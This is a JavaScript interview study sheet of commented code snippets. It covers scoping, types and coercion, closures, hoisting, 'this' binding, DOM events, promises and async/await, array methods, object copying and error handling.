🌐 JavaScript Interview Questions

// ── var: function-scoped, hoisted as undefined ──
function varExample() {
    console.log(x); // undefined (hoisted, but not yet assigned)
    var x = 10;
    console.log(x); // 10

    if (true) {
        var x = 99; // same variable — var ignores block scope
    }
    console.log(x); // 99 (overwritten!)
}

// ── let: block-scoped, TDZ ──
function letExample() {
    // console.log(y); // ReferenceError: Cannot access 'y' before initialization
    let y = 10;

    if (true) {
        let y = 99; // different variable — block-scoped
        console.log(y); // 99
    }
    console.log(y); // 10 (unchanged)
}

// ── const: block-scoped, no re-assignment ──
const API_URL = "https://api.example.com/v2";
// API_URL = "new-url"; // TypeError: Assignment to constant variable

// But object properties CAN be mutated:
const config = { retries: 3, timeout: 5000 };
config.retries = 5;       // ✅ allowed — mutating property
// config = {};            // ❌ TypeError — re-assigning binding

// Practical: loop variable with var vs let
for (var i = 0; i < 3; i++) {
    setTimeout(() => console.log("var i:", i), 100); // 3, 3, 3
}
for (let j = 0; j < 3; j++) {
    setTimeout(() => console.log("let j:", j), 100); // 0, 1, 2
}

// ── The 7 primitives ──
const str = "hello";          // string
const num = 42;               // number (always 64-bit float)
const bool = true;            // boolean
const nothing = null;         // null (intentional absence)
let notSet;                   // undefined (not assigned)
const sym = Symbol("id");     // symbol (unique identifier)
const big = 9007199254740993n; // bigint (arbitrary precision)

// ── typeof checks ──
console.log(typeof str);      // "string"
console.log(typeof num);      // "number"
console.log(typeof bool);     // "boolean"
console.log(typeof nothing);  // "object" ← famous JS bug!
console.log(typeof notSet);   // "undefined"
console.log(typeof sym);      // "symbol"
console.log(typeof big);      // "bigint"

// ── Primitives are immutable & compared by value ──
let a = "hello";
let b = "hello";
console.log(a === b); // true (same value)

// ── Objects are compared by reference ──
let obj1 = { x: 1 };
let obj2 = { x: 1 };
console.log(obj1 === obj2); // false (different references)

// ── Floating-point precision issue ──
console.log(0.1 + 0.2);           // 0.30000000000000004
console.log(0.1 + 0.2 === 0.3);   // false!
// Fix: compare with tolerance
console.log(Math.abs(0.1 + 0.2 - 0.3) < Number.EPSILON); // true

// ── BigInt for large numbers ──
console.log(Number.MAX_SAFE_INTEGER);  // 9007199254740991
console.log(9007199254740991 + 2);     // 9007199254740992 (wrong!)
console.log(9007199254740991n + 2n);   // 9007199254740993n (correct!)

// ── Strict equality (===) — no type conversion ──
console.log(1 === 1);         // true
console.log(1 === "1");       // false (number vs string)
console.log(true === 1);      // false (boolean vs number)
console.log(null === undefined); // false (different types)

// ── Loose equality (==) — type coercion happens ──
console.log(1 == "1");        // true  (string → number)
console.log(true == 1);       // true  (boolean → number)
console.log("" == 0);         // true  (string → number → 0)
console.log(null == undefined); // true (special rule)
console.log("0" == false);    // true  (both → 0)

// ── The confusing cases ──
console.log([] == false);     // true  ([] → "" → 0, false → 0)
console.log([] == ![]);       // true! ([] → 0, ![] → false → 0)
console.log("" == false);     // true  (both coerce to 0)
console.log(" " == false);    // true  (" " → 0)

// ── Only valid use of == : null check ──
function greet(name) {
    // Catches both null AND undefined in one check
    if (name == null) {
        return "Hello, stranger!";
    }
    return `Hello, ${name}!`;
}
console.log(greet(null));      // "Hello, stranger!"
console.log(greet(undefined)); // "Hello, stranger!"
console.log(greet("Alice"));   // "Hello, Alice!"

// ── Object comparison: always by reference ──
const a = { x: 1 };
const b = { x: 1 };
console.log(a === b); // false (different objects in memory)
console.log(a === a); // true  (same reference)

// ── Function Declaration (hoisted) ──
console.log(add(2, 3)); // 5 — works before declaration!
function add(a, b) {
    return a + b;
}

// ── Function Expression (NOT hoisted) ──
// console.log(multiply(2, 3)); // TypeError: multiply is not a function
const multiply = function(a, b) {
    return a * b;
};
console.log(multiply(2, 3)); // 6

// ── Arrow Function (concise, lexical this) ──
const divide = (a, b) => a / b;  // implicit return for single expression
const square = x => x * x;       // single param: no parens needed
const getUser = () => ({ name: "Alice", age: 30 }); // return object: wrap in ()

// ── Arrow vs regular: `this` binding ──
const timer = {
    seconds: 0,
    start() {
        // Arrow inherits `this` from start() → timer object
        setInterval(() => {
            this.seconds++;
            console.log(this.seconds);
        }, 1000);
    },
    // BAD: arrow as method — `this` is outer scope (window/undefined)
    // reset: () => { this.seconds = 0; } // `this` is NOT timer!
};

// ── Functions as first-class citizens ──
function applyOperation(a, b, operation) {
    return operation(a, b);
}
console.log(applyOperation(10, 5, add));      // 15
console.log(applyOperation(10, 5, multiply)); // 50
console.log(applyOperation(10, 5, (a, b) => a % b)); // 0

// ── Default parameters ──
function createUser(name, role = "viewer", active = true) {
    return { name, role, active };
}
console.log(createUser("Bob"));              // { name: "Bob", role: "viewer", active: true }
console.log(createUser("Alice", "admin"));   // { name: "Alice", role: "admin", active: true }

// ── Creating arrays ──
const fruits = ["apple", "banana", "cherry"];
const mixed = [1, "two", true, null, { key: "value" }];
const generated = Array.from({ length: 5 }, (_, i) => i * 2); // [0, 2, 4, 6, 8]

// ── Mutating methods (change original) ──
const stack = [1, 2, 3];
stack.push(4);          // [1, 2, 3, 4]   — add to end
stack.pop();            // [1, 2, 3]       — remove from end
stack.unshift(0);       // [0, 1, 2, 3]   — add to start
stack.shift();          // [1, 2, 3]       — remove from start
stack.splice(1, 1, 99); // [1, 99, 3]     — remove 1 at index 1, insert 99

// ── Non-mutating methods (return new array) ──
const prices = [29.99, 9.99, 49.99, 14.99, 79.99];

const doubled = prices.map(p => p * 2);
// [59.98, 19.98, 99.98, 29.98, 159.98]

const cheap = prices.filter(p => p < 20);
// [9.99, 14.99]

const total = prices.reduce((sum, p) => sum + p, 0);
// 184.95

const found = prices.find(p => p > 40);
// 49.99

const hasExpensive = prices.some(p => p > 50);
// true

const allPositive = prices.every(p => p > 0);
// true

// ── Chaining methods ──
const orders = [
    { product: "Laptop", price: 999, qty: 1 },
    { product: "Mouse", price: 25, qty: 3 },
    { product: "Monitor", price: 450, qty: 1 },
    { product: "Cable", price: 12, qty: 5 },
];

const expensiveTotal = orders
    .filter(o => o.price > 100)                // keep expensive items
    .map(o => ({ ...o, total: o.price * o.qty })) // add total field
    .reduce((sum, o) => sum + o.total, 0);     // sum totals
console.log(expensiveTotal); // 1449

// ── Useful newer methods ──
console.log([1, [2, [3, [4]]]].flat(Infinity)); // [1, 2, 3, 4]
console.log(prices.includes(9.99));              // true
console.log(prices.findIndex(p => p > 40));      // 2

// ── Object literal ──
const user = {
    name: "Alice",
    age: 30,
    email: "alice@example.com",
    isActive: true,
    greet() {              // method shorthand
        return `Hi, I'm ${this.name}`;
    }
};

// ── Property access ──
console.log(user.name);        // "Alice" (dot notation)
console.log(user["email"]);    // "alice@example.com" (bracket)

const key = "age";
console.log(user[key]);        // 30 (dynamic key — bracket only)

// ── Adding / deleting properties ──
user.role = "admin";           // add
delete user.isActive;          // delete

// ── ES6 shorthand ──
const name = "Bob";
const age = 25;
const shorthand = { name, age }; // { name: "Bob", age: 25 }

// ── Computed property names ──
const field = "score";
const dynamic = { [field]: 100, [`${field}Label`]: "Points" };
// { score: 100, scoreLabel: "Points" }

// ── Object destructuring ──
const { name: userName, age: userAge, role = "viewer" } = user;
console.log(userName, userAge, role); // "Alice" 30 "admin"

// ── Useful Object methods ──
console.log(Object.keys(user));    // ["name", "age", "email", "role", "greet"]
console.log(Object.values(user));  // ["Alice", 30, "alice@example.com", "admin", ƒ]
console.log(Object.entries(user)); // [["name","Alice"], ["age",30], ...]

// ── Checking properties ──
console.log("name" in user);              // true
console.log(user.hasOwnProperty("name")); // true

// ── Merging objects ──
const defaults = { theme: "dark", lang: "en", notifications: true };
const prefs = { theme: "light", lang: "es" };
const merged = { ...defaults, ...prefs };
// { theme: "light", lang: "es", notifications: true }

// ── Optional chaining (ES2020) ──
const response = { data: { user: { address: null } } };
console.log(response?.data?.user?.address?.city); // undefined (no error)

// ── Selecting elements ──
const heading = document.getElementById("main-title");
const buttons = document.querySelectorAll(".btn");          // NodeList
const firstBtn = document.querySelector(".btn");            // first match
const nav = document.getElementsByClassName("nav-link");    // HTMLCollection

// ── Reading & modifying content ──
heading.textContent = "Updated Title";       // text only (safe from XSS)
heading.innerHTML = "<em>Updated</em> Title"; // parses HTML (XSS risk!)

// ── Modifying styles ──
heading.style.color = "#4f46e5";
heading.style.fontSize = "2rem";
// Better: toggle CSS classes
heading.classList.add("highlight");
heading.classList.remove("old-style");
heading.classList.toggle("active");

// ── Modifying attributes ──
const link = document.querySelector("a");
link.setAttribute("href", "https://example.com");
link.setAttribute("target", "_blank");
link.getAttribute("href"); // "https://example.com"

// ── Creating & inserting elements ──
const card = document.createElement("div");
card.className = "product-card";
card.innerHTML = `
    <h3>New Product</h3>
    <p>$29.99</p>
`;
document.querySelector(".product-grid").appendChild(card);

// ── Removing elements ──
const oldBanner = document.querySelector(".promo-banner");
oldBanner.remove(); // modern way
// oldBanner.parentNode.removeChild(oldBanner); // legacy way

// ── Efficient batch updates with DocumentFragment ──
const fragment = document.createDocumentFragment();
for (let i = 0; i < 100; i++) {
    const li = document.createElement("li");
    li.textContent = `Item ${i + 1}`;
    fragment.appendChild(li); // no reflow per item
}
document.querySelector("ul").appendChild(fragment); // single reflow

// ── addEventListener ──
const button = document.querySelector("#submit-btn");

button.addEventListener("click", function(event) {
    console.log("Button clicked!");
    console.log("Target:", event.target);        // element that was clicked
    console.log("Current:", event.currentTarget); // element with listener
});

// ── Removing a listener (must use named function) ──
function handleClick(e) {
    console.log("Clicked:", e.target.textContent);
}
button.addEventListener("click", handleClick);
button.removeEventListener("click", handleClick);

// ── Event bubbling ──
// <div id="parent"><button id="child">Click</button></div>
document.getElementById("parent").addEventListener("click", () => {
    console.log("Parent clicked"); // fires AFTER child (bubbling)
});
document.getElementById("child").addEventListener("click", () => {
    console.log("Child clicked");  // fires first (target phase)
});
// Click child → "Child clicked" → "Parent clicked"

// ── Stop propagation ──
document.getElementById("child").addEventListener("click", (e) => {
    e.stopPropagation(); // parent listener will NOT fire
    console.log("Only child handles this");
});

// ── Event delegation (efficient pattern) ──
// Instead of adding listeners to each <li>:
document.querySelector("ul.todo-list").addEventListener("click", (e) => {
    const li = e.target.closest("li"); // find the clicked <li>
    if (!li) return;                   // clicked outside any <li>

    if (e.target.matches(".delete-btn")) {
        li.remove(); // delete this item
    } else if (e.target.matches(".toggle-btn")) {
        li.classList.toggle("completed"); // toggle done state
    }
});
// Works for dynamically added <li> elements too!

// ── Prevent default ──
document.querySelector("form").addEventListener("submit", (e) => {
    e.preventDefault(); // stop form from reloading the page
    const data = new FormData(e.target);
    fetch("/api/submit", { method: "POST", body: data });
});

// ── Template literals ──
const name = "Alice";
const age = 30;

// Old way (concatenation)
const old = "Hello, " + name + "! You are " + age + " years old.";

// Template literal
const msg = `Hello, ${name}! You are ${age} years old.`;

// Multi-line
const html = `
    <div class="card">
        <h2>${name}</h2>
        <p>Age: ${age}</p>
        <p>Status: ${age >= 18 ? "Adult" : "Minor"}</p>
    </div>
`;

// Expressions inside ${}
console.log(`Total: $${(29.99 * 3).toFixed(2)}`); // "Total: $89.97"
console.log(`${name.toUpperCase()} joined ${new Date().getFullYear()}`);

// Tagged template (for escaping, i18n, CSS-in-JS)
function highlight(strings, ...values) {
    return strings.reduce((result, str, i) => {
        return result + str + (values[i] ? `<mark>${values[i]}</mark>` : "");
    }, "");
}
const output = highlight`Hello ${name}, you scored ${95}!`;
// "Hello <mark>Alice</mark>, you scored <mark>95</mark>!"

// ── Object destructuring ──
const user = { name: "Bob", age: 25, email: "bob@example.com", role: "admin" };
const { name: userName, email, role = "viewer" } = user;
// userName = "Bob", email = "bob@example.com", role = "admin"

// Nested destructuring
const response = {
    data: { users: [{ id: 1, name: "Alice" }], total: 100 },
    status: 200
};
const { data: { users: [firstUser], total }, status } = response;
// firstUser = { id: 1, name: "Alice" }, total = 100, status = 200

// ── Array destructuring ──
const [first, second, ...rest] = [10, 20, 30, 40, 50];
// first = 10, second = 20, rest = [30, 40, 50]

// Swap variables without temp
let a = 1, b = 2;
[a, b] = [b, a]; // a = 2, b = 1

// ── Function parameter destructuring ──
function createUser({ name, role = "viewer", active = true }) {
    return { name, role, active, createdAt: new Date() };
}
const newUser = createUser({ name: "Charlie", role: "editor" });

// ── typeof results ──
console.log(typeof 42);          // "number"
console.log(typeof "hello");     // "string"
console.log(typeof true);        // "boolean"
console.log(typeof undefined);   // "undefined"
console.log(typeof null);        // "object"    ← bug!
console.log(typeof [1, 2]);      // "object"    ← arrays are objects
console.log(typeof {});          // "object"
console.log(typeof function(){}); // "function"
console.log(typeof Symbol());    // "symbol"
console.log(typeof 42n);         // "bigint"
console.log(typeof NaN);         // "number"    ← NaN is a number!

// ── Better type checking ──
Array.isArray([1, 2]);                    // true
Number.isNaN(NaN);                        // true (not global isNaN!)
value === null;                           // check null explicitly
Object.prototype.toString.call([1, 2]);   // "[object Array]"

// ── String coercion (+ operator) ──
console.log("5" + 3);     // "53"   (number → string)
console.log("5" + true);  // "5true"
console.log("5" + null);  // "5null"

// ── Number coercion (-, *, / operators) ──
console.log("5" - 3);     // 2      (string → number)
console.log("5" * "3");   // 15
console.log(true + 1);    // 2      (true → 1)
console.log(false + 1);   // 1      (false → 0)
console.log(null + 1);    // 1      (null → 0)

// ── Falsy vs truthy ──
const falsy = [false, 0, -0, "", null, undefined, NaN];
const truthy = [true, 1, -1, " ", "0", [], {}, function(){}];

// Common gotcha: "0" is truthy!
if ("0") console.log("'0' is truthy!");  // prints!
if ([]) console.log("[] is truthy!");      // prints!

// ── Explicit conversion (preferred) ──
Number("42");      // 42
String(42);        // "42"
Boolean(0);        // false
Boolean("hello");  // true
parseInt("42px");  // 42  (stops at non-digit)
parseFloat("3.14em"); // 3.14

// ── Nullish coalescing (??) vs OR (||) ──
const count = 0;
console.log(count || 10);  // 10  (0 is falsy — wrong!)
console.log(count ?? 10);  // 0   (?? only checks null/undefined — correct!)

// ── Basic closure ──
function createCounter() {
    let count = 0; // private variable — not accessible from outside
    return {
        increment: () => ++count,
        decrement: () => --count,
        getCount:  () => count,
    };
}

const counter = createCounter();
console.log(counter.increment()); // 1
console.log(counter.increment()); // 2
console.log(counter.decrement()); // 1
console.log(counter.getCount());  // 1
// console.log(count);            // ReferenceError — count is private!

// ── Closure for data privacy (module pattern) ──
function createBankAccount(initialBalance) {
    let balance = initialBalance; // private
    const transactions = [];      // private

    return {
        deposit(amount) {
            if (amount <= 0) throw new Error("Amount must be positive");
            balance += amount;
            transactions.push({ type: "deposit", amount, date: new Date() });
            return balance;
        },
        withdraw(amount) {
            if (amount > balance) throw new Error("Insufficient funds");
            balance -= amount;
            transactions.push({ type: "withdrawal", amount, date: new Date() });
            return balance;
        },
        getBalance: () => balance,
        getStatement: () => [...transactions], // return copy, not reference
    };
}

const account = createBankAccount(1000);
account.deposit(500);   // 1500
account.withdraw(200);  // 1300
// account.balance = 999999; // does nothing — balance is private

// ── Closure in loops (the classic interview question) ──
// Problem: var + setTimeout
for (var i = 0; i < 3; i++) {
    setTimeout(() => console.log("var:", i), 100); // 3, 3, 3
}

// Fix 1: IIFE creates a new closure per iteration
for (var i = 0; i < 3; i++) {
    (function(j) {
        setTimeout(() => console.log("IIFE:", j), 100); // 0, 1, 2
    })(i);
}

// Fix 2: let creates block scope (modern, preferred)
for (let i = 0; i < 3; i++) {
    setTimeout(() => console.log("let:", i), 100); // 0, 1, 2
}

// ── Partial application with closures ──
function multiply(a) {
    return function(b) {
        return a * b; // closure over `a`
    };
}
const double = multiply(2);
const triple = multiply(3);
console.log(double(5));  // 10
console.log(triple(5));  // 15

// ── var hoisting: initialized to undefined ──
console.log(x); // undefined (not ReferenceError)
var x = 10;
console.log(x); // 10

// What the engine actually does:
// var x = undefined;  ← hoisted
// console.log(x);     → undefined
// x = 10;             ← assignment stays in place
// console.log(x);     → 10

// ── let/const: hoisted but in Temporal Dead Zone ──
// console.log(y); // ReferenceError: Cannot access 'y' before initialization
let y = 20;
console.log(y); // 20

// TDZ exists from block start until declaration
{
    // TDZ for `z` starts here
    // console.log(z); // ReferenceError
    const z = 30;      // TDZ ends here
    console.log(z);    // 30
}

// ── Function declaration: fully hoisted ──
console.log(add(2, 3)); // 5 — works before declaration!
function add(a, b) {
    return a + b;
}

// ── Function expression: NOT fully hoisted ──
// console.log(multiply(2, 3)); // TypeError: multiply is not a function
var multiply = function(a, b) {
    return a * b;
};
// With var: multiply is hoisted as undefined, not as a function
// With let: ReferenceError (TDZ)

// ── Class declarations: hoisted but in TDZ (like let) ──
// const u = new User(); // ReferenceError
class User {
    constructor(name) { this.name = name; }
}
const u = new User("Alice"); // works after declaration

// ── Real-world confusion: function declaration vs expression ──
// This works (declaration):
greetDecl("Alice"); // "Hello, Alice!"
function greetDecl(name) { return `Hello, ${name}!`; }

// This breaks (expression):
// greetExpr("Bob"); // TypeError or ReferenceError
const greetExpr = (name) => `Hello, ${name}!`;

// ── 1. Default binding (standalone call) ──
function showThis() {
    console.log(this);
}
showThis(); // window (browser) / global (Node) / undefined (strict mode)

// ── 2. Implicit binding (method call) ──
const user = {
    name: "Alice",
    greet() {
        console.log(`Hi, I'm ${this.name}`);
    }
};
user.greet(); // "Hi, I'm Alice" — `this` = user

// ── Lost implicit binding ──
const greetFn = user.greet; // extract method
greetFn(); // "Hi, I'm undefined" — `this` is now window/undefined!

// ── 3. Explicit binding (call, apply, bind) ──
function introduce(greeting, punctuation) {
    console.log(`${greeting}, I'm ${this.name}${punctuation}`);
}

const bob = { name: "Bob" };
introduce.call(bob, "Hello", "!");    // "Hello, I'm Bob!"
introduce.apply(bob, ["Hey", "."]);   // "Hey, I'm Bob."

const boundFn = introduce.bind(bob, "Hi");
boundFn("?"); // "Hi, I'm Bob?"
// bind returns a new function with `this` permanently set

// ── 4. new binding (constructor) ──
function Person(name) {
    this.name = name; // `this` = newly created object
}
const alice = new Person("Alice");
console.log(alice.name); // "Alice"

// ── 5. Arrow function (lexical this) ──
const timer = {
    seconds: 0,
    start() {
        // Arrow captures `this` from start() → timer object
        setInterval(() => {
            this.seconds++;
            console.log(this.seconds); // works! this = timer
        }, 1000);
    }
};

// Compare with regular function:
const brokenTimer = {
    seconds: 0,
    start() {
        setInterval(function() {
            this.seconds++; // `this` is window, not brokenTimer!
        }, 1000);
    }
};

// ── this in classes ──
class Button {
    constructor(label) {
        this.label = label;
        // Arrow in constructor captures `this` permanently
        this.handleClick = () => {
            console.log(`Clicked: ${this.label}`);
        };
    }
}
const btn = new Button("Submit");
const handler = btn.handleClick;
handler(); // "Clicked: Submit" — arrow preserves `this`

// ── Creating a Promise ──
function fetchUserData(userId) {
    return new Promise((resolve, reject) => {
        // Simulating async API call
        setTimeout(() => {
            if (userId > 0) {
                resolve({ id: userId, name: "Alice", email: "alice@example.com" });
            } else {
                reject(new Error("Invalid user ID"));
            }
        }, 1000);
    });
}

// ── Consuming with .then/.catch/.finally ──
fetchUserData(1)
    .then(user => {
        console.log("User:", user.name); // "Alice"
        return fetchUserData(2); // return another Promise → chain
    })
    .then(user2 => {
        console.log("User 2:", user2.name);
    })
    .catch(error => {
        console.error("Failed:", error.message); // handles ANY error in chain
    })
    .finally(() => {
        console.log("Done — cleanup here (runs success or failure)");
    });

// ── Promise.all — parallel execution, fail-fast ──
async function loadDashboard() {
    const [users, orders, stats] = await Promise.all([
        fetch("/api/users").then(r => r.json()),
        fetch("/api/orders").then(r => r.json()),
        fetch("/api/stats").then(r => r.json()),
    ]);
    // All 3 run in parallel — total time = slowest request
    // If ANY fails, the whole Promise.all rejects
    return { users, orders, stats };
}

// ── Promise.allSettled — get results of all, even failures ──
const results = await Promise.allSettled([
    fetch("/api/service-a").then(r => r.json()),
    fetch("/api/service-b").then(r => r.json()), // might fail
    fetch("/api/service-c").then(r => r.json()),
]);
results.forEach(r => {
    if (r.status === "fulfilled") console.log("OK:", r.value);
    if (r.status === "rejected")  console.log("Failed:", r.reason);
});

// ── Promise.race — first to settle wins ──
const result = await Promise.race([
    fetch("/api/data"),
    new Promise((_, reject) =>
        setTimeout(() => reject(new Error("Timeout")), 5000)
    ),
]);
// Either data arrives or timeout fires — whichever comes first

// ── Promise.any — first to succeed (ignores rejections) ──
const fastest = await Promise.any([
    fetch("https://cdn1.example.com/data.json"),
    fetch("https://cdn2.example.com/data.json"),
    fetch("https://cdn3.example.com/data.json"),
]); // first successful response wins

// ── Basic async/await ──
async function getUserProfile(userId) {
    try {
        const response = await fetch(`/api/users/${userId}`);

        if (!response.ok) {
            throw new Error(`HTTP ${response.status}: ${response.statusText}`);
        }

        const user = await response.json();
        console.log(`Loaded: ${user.name}`);
        return user;
    } catch (error) {
        console.error("Failed to load user:", error.message);
        throw error; // re-throw to let caller handle it
    }
}

// ── Sequential vs Parallel ──
// SLOW: sequential (one after another)
async function loadSequential() {
    const users  = await fetch("/api/users").then(r => r.json());   // wait...
    const orders = await fetch("/api/orders").then(r => r.json());  // then wait...
    const stats  = await fetch("/api/stats").then(r => r.json());   // then wait...
    // Total time = sum of all three
    return { users, orders, stats };
}

// FAST: parallel with Promise.all
async function loadParallel() {
    const [users, orders, stats] = await Promise.all([
        fetch("/api/users").then(r => r.json()),
        fetch("/api/orders").then(r => r.json()),
        fetch("/api/stats").then(r => r.json()),
    ]);
    // Total time = slowest of the three
    return { users, orders, stats };
}

// ── Error handling with try/catch ──
async function processPayment(orderId, amount) {
    try {
        const auth = await verifyAuth();
        const balance = await checkBalance(auth.userId);

        if (balance < amount) {
            throw new Error("Insufficient funds");
        }

        const result = await chargeCard(orderId, amount);
        await sendReceipt(result.transactionId);

        return { success: true, transactionId: result.transactionId };
    } catch (error) {
        await logError("payment_failed", { orderId, error: error.message });
        return { success: false, error: error.message };
    } finally {
        // Cleanup: release locks, close connections
        await releasePaymentLock(orderId);
    }
}

// ── Async iteration (for await...of) ──
async function processStream(url) {
    const response = await fetch(url);
    const reader = response.body.getReader();
    const decoder = new TextDecoder();

    while (true) {
        const { done, value } = await reader.read();
        if (done) break;
        console.log(decoder.decode(value));
    }
}

// ── Top-level await (ES2022, modules only) ──
// const config = await fetch("/config.json").then(r => r.json());

// ── SPREAD: expanding elements ──

// Array spread
const arr1 = [1, 2, 3];
const arr2 = [4, 5, 6];
const merged = [...arr1, ...arr2];       // [1, 2, 3, 4, 5, 6]
const copy = [...arr1];                  // [1, 2, 3] (shallow copy)
const withExtra = [0, ...arr1, 99];      // [0, 1, 2, 3, 99]

// Object spread
const defaults = { theme: "dark", lang: "en", notifications: true };
const userPrefs = { theme: "light", lang: "es" };
const config = { ...defaults, ...userPrefs };
// { theme: "light", lang: "es", notifications: true }
// Later properties override earlier ones

// Function call spread
const numbers = [5, 2, 8, 1, 9];
console.log(Math.max(...numbers)); // 9 (spreads array into arguments)

// String spread
const chars = [..."hello"]; // ["h", "e", "l", "l", "o"]

// ── REST: collecting elements ──

// Function parameters
function sum(...numbers) {
    return numbers.reduce((total, n) => total + n, 0);
}
console.log(sum(1, 2, 3, 4)); // 10

// Mixed: first params + rest
function logActivity(action, userId, ...details) {
    console.log(`[${action}] User ${userId}: ${details.join(", ")}`);
}
logActivity("LOGIN", 42, "Chrome", "Windows", "2025-01-15");
// "[LOGIN] User 42: Chrome, Windows, 2025-01-15"

// Array destructuring with rest
const [first, second, ...remaining] = [10, 20, 30, 40, 50];
// first = 10, second = 20, remaining = [30, 40, 50]

// Object destructuring with rest
const { name, email, ...metadata } = {
    name: "Alice", email: "a@b.com", role: "admin", joined: "2024"
};
// name = "Alice", email = "a@b.com"
// metadata = { role: "admin", joined: "2024" }

// ── Practical: immutable state updates (React pattern) ──
const state = {
    users: [{ id: 1, name: "Alice" }, { id: 2, name: "Bob" }],
    loading: false,
    error: null,
};

// Add user without mutating state
const newState = {
    ...state,
    users: [...state.users, { id: 3, name: "Charlie" }],
};

// Update specific user without mutating
const updatedState = {
    ...state,
    users: state.users.map(u =>
        u.id === 1 ? { ...u, name: "Alicia" } : u
    ),
};

const employees = [
    { name: "Alice", department: "Engineering", salary: 95000, yearsExp: 5 },
    { name: "Bob", department: "Marketing", salary: 72000, yearsExp: 3 },
    { name: "Charlie", department: "Engineering", salary: 110000, yearsExp: 8 },
    { name: "Diana", department: "Engineering", salary: 88000, yearsExp: 4 },
    { name: "Eve", department: "Marketing", salary: 68000, yearsExp: 2 },
    { name: "Frank", department: "Design", salary: 82000, yearsExp: 6 },
];

// ── map(): transform each element ──
const names = employees.map(e => e.name);
// ["Alice", "Bob", "Charlie", "Diana", "Eve", "Frank"]

const raises = employees.map(e => ({
    ...e,
    salary: Math.round(e.salary * 1.10), // 10% raise
}));
// Each object gets a new salary — original array unchanged

// ── filter(): keep matching elements ──
const engineers = employees.filter(e => e.department === "Engineering");
// [Alice, Charlie, Diana]

const senior = employees.filter(e => e.yearsExp >= 5);
// [Alice, Charlie, Frank]

// ── reduce(): accumulate into single value ──
const totalPayroll = employees.reduce((sum, e) => sum + e.salary, 0);
// 515000

// reduce() to build an object (group by department)
const byDept = employees.reduce((groups, e) => {
    const dept = e.department;
    groups[dept] = groups[dept] || [];
    groups[dept].push(e.name);
    return groups;
}, {});
// { Engineering: ["Alice","Charlie","Diana"], Marketing: ["Bob","Eve"], Design: ["Frank"] }

// ── Chaining: data pipeline ──
const engineeringSalaryReport = employees
    .filter(e => e.department === "Engineering")  // keep engineers
    .map(e => ({ name: e.name, salary: e.salary })) // extract fields
    .sort((a, b) => b.salary - a.salary)           // sort by salary desc
    .reduce((report, e, i) => {
        report.employees.push(`${i + 1}. ${e.name}: $${e.salary.toLocaleString()}`);
        report.total += e.salary;
        return report;
    }, { employees: [], total: 0 });

console.log(engineeringSalaryReport);
// {
//   employees: ["1. Charlie: $110,000", "2. Alice: $95,000", "3. Diana: $88,000"],
//   total: 293000
// }

// ── find(), some(), every() — related methods ──
const alice = employees.find(e => e.name === "Alice"); // first match or undefined
const hasMarketing = employees.some(e => e.department === "Marketing"); // true
const allSenior = employees.every(e => e.yearsExp >= 5); // false

// ── Shallow copy — nested objects are shared ──
const original = {
    name: "Alice",
    scores: [90, 85, 92],
    address: { city: "NYC", zip: "10001" }
};

// Shallow copy methods (all behave the same)
const copy1 = { ...original };
const copy2 = Object.assign({}, original);

// Top-level: independent
copy1.name = "Bob";
console.log(original.name); // "Alice" — unchanged ✅

// Nested: SHARED reference!
copy1.scores.push(100);
console.log(original.scores); // [90, 85, 92, 100] — mutated! ❌

copy1.address.city = "LA";
console.log(original.address.city); // "LA" — mutated! ❌

// ── Deep copy methods ──

// Method 1: structuredClone() (modern, recommended)
const deep1 = structuredClone(original);
deep1.scores.push(100);
console.log(original.scores.length); // 3 — unchanged ✅
deep1.address.city = "LA";
console.log(original.address.city);  // "NYC" — unchanged ✅

// Method 2: JSON (works for serializable data only)
const deep2 = JSON.parse(JSON.stringify(original));
// ⚠️ Limitations: loses undefined, functions, Dates become strings,
//    NaN becomes null, no circular references, no Map/Set/RegExp

// Method 3: manual recursive clone
function deepClone(obj) {
    if (obj === null || typeof obj !== "object") return obj;
    if (Array.isArray(obj)) return obj.map(item => deepClone(item));
    return Object.fromEntries(
        Object.entries(obj).map(([key, val]) => [key, deepClone(val)])
    );
}

// ── Comparison table ──
// | Method           | Depth   | Speed  | Limitations                    |
// |------------------|---------|--------|--------------------------------|
// | spread / assign  | Shallow | Fast   | Nested refs shared             |
// | JSON roundtrip   | Deep    | Medium | No functions, Dates, undefined |
// | structuredClone  | Deep    | Medium | No functions, DOM nodes        |
// | Lodash cloneDeep | Deep    | Slow   | External dependency            |

// ── Practical: React state update ──
const state = {
    users: [
        { id: 1, name: "Alice", prefs: { theme: "dark" } },
        { id: 2, name: "Bob", prefs: { theme: "light" } },
    ]
};

// Update user 1 theme (immutable pattern)
const newState = {
    ...state,
    users: state.users.map(u =>
        u.id === 1
            ? { ...u, prefs: { ...u.prefs, theme: "light" } }
            : u
    )
};

// ── Basic try/catch/finally ──
function parseJSON(jsonString) {
    try {
        const data = JSON.parse(jsonString);
        return { success: true, data };
    } catch (error) {
        console.error("Parse failed:", error.message);
        return { success: false, error: error.message };
    } finally {
        console.log("Parse attempt completed"); // always runs
    }
}

console.log(parseJSON('{"name":"Alice"}'));  // { success: true, data: {...} }
console.log(parseJSON("invalid json"));       // { success: false, error: "..." }

// ── Custom Error classes ──
class ValidationError extends Error {
    constructor(field, message) {
        super(message);
        this.name = "ValidationError";
        this.field = field;
    }
}

class NotFoundError extends Error {
    constructor(resource, id) {
        super(`${resource} with id ${id} not found`);
        this.name = "NotFoundError";
        this.resource = resource;
        this.id = id;
    }
}

// ── Typed error handling ──
async function updateUser(id, data) {
    try {
        if (!data.email?.includes("@")) {
            throw new ValidationError("email", "Invalid email format");
        }

        const user = await db.findById(id);
        if (!user) {
            throw new NotFoundError("User", id);
        }

        return await db.update(id, data);
    } catch (error) {
        if (error instanceof ValidationError) {
            return { status: 400, error: `${error.field}: ${error.message}` };
        }
        if (error instanceof NotFoundError) {
            return { status: 404, error: error.message };
        }
        // Unexpected error — log and rethrow
        console.error("Unexpected error:", error);
        throw error;
    }
}

// ── Async error handling ──
async function fetchWithRetry(url, maxRetries = 3) {
    for (let attempt = 1; attempt <= maxRetries; attempt++) {
        try {
            const response = await fetch(url);
            if (!response.ok) {
                throw new Error(`HTTP ${response.status}`);
            }
            return await response.json();
        } catch (error) {
            console.warn(`Attempt ${attempt} failed: ${error.message}`);
            if (attempt === maxRetries) {
                throw new Error(`Failed after ${maxRetries} attempts: ${error.message}`);
            }
            // Wait before retry (exponential backoff)
            await new Promise(r => setTimeout(r, 1000 * attempt));
        }
    }
}

// ── finally for cleanup ──
async function processFile(path) {
    const handle = await openFile(path);
    try {
        const data = await handle.read();
        return transform(data);
    } catch (error) {
        await logError(error);
        throw error;
    } finally {
        await handle.close(); // always close file, success or failure
    }
}

// ── Basic GET request ──
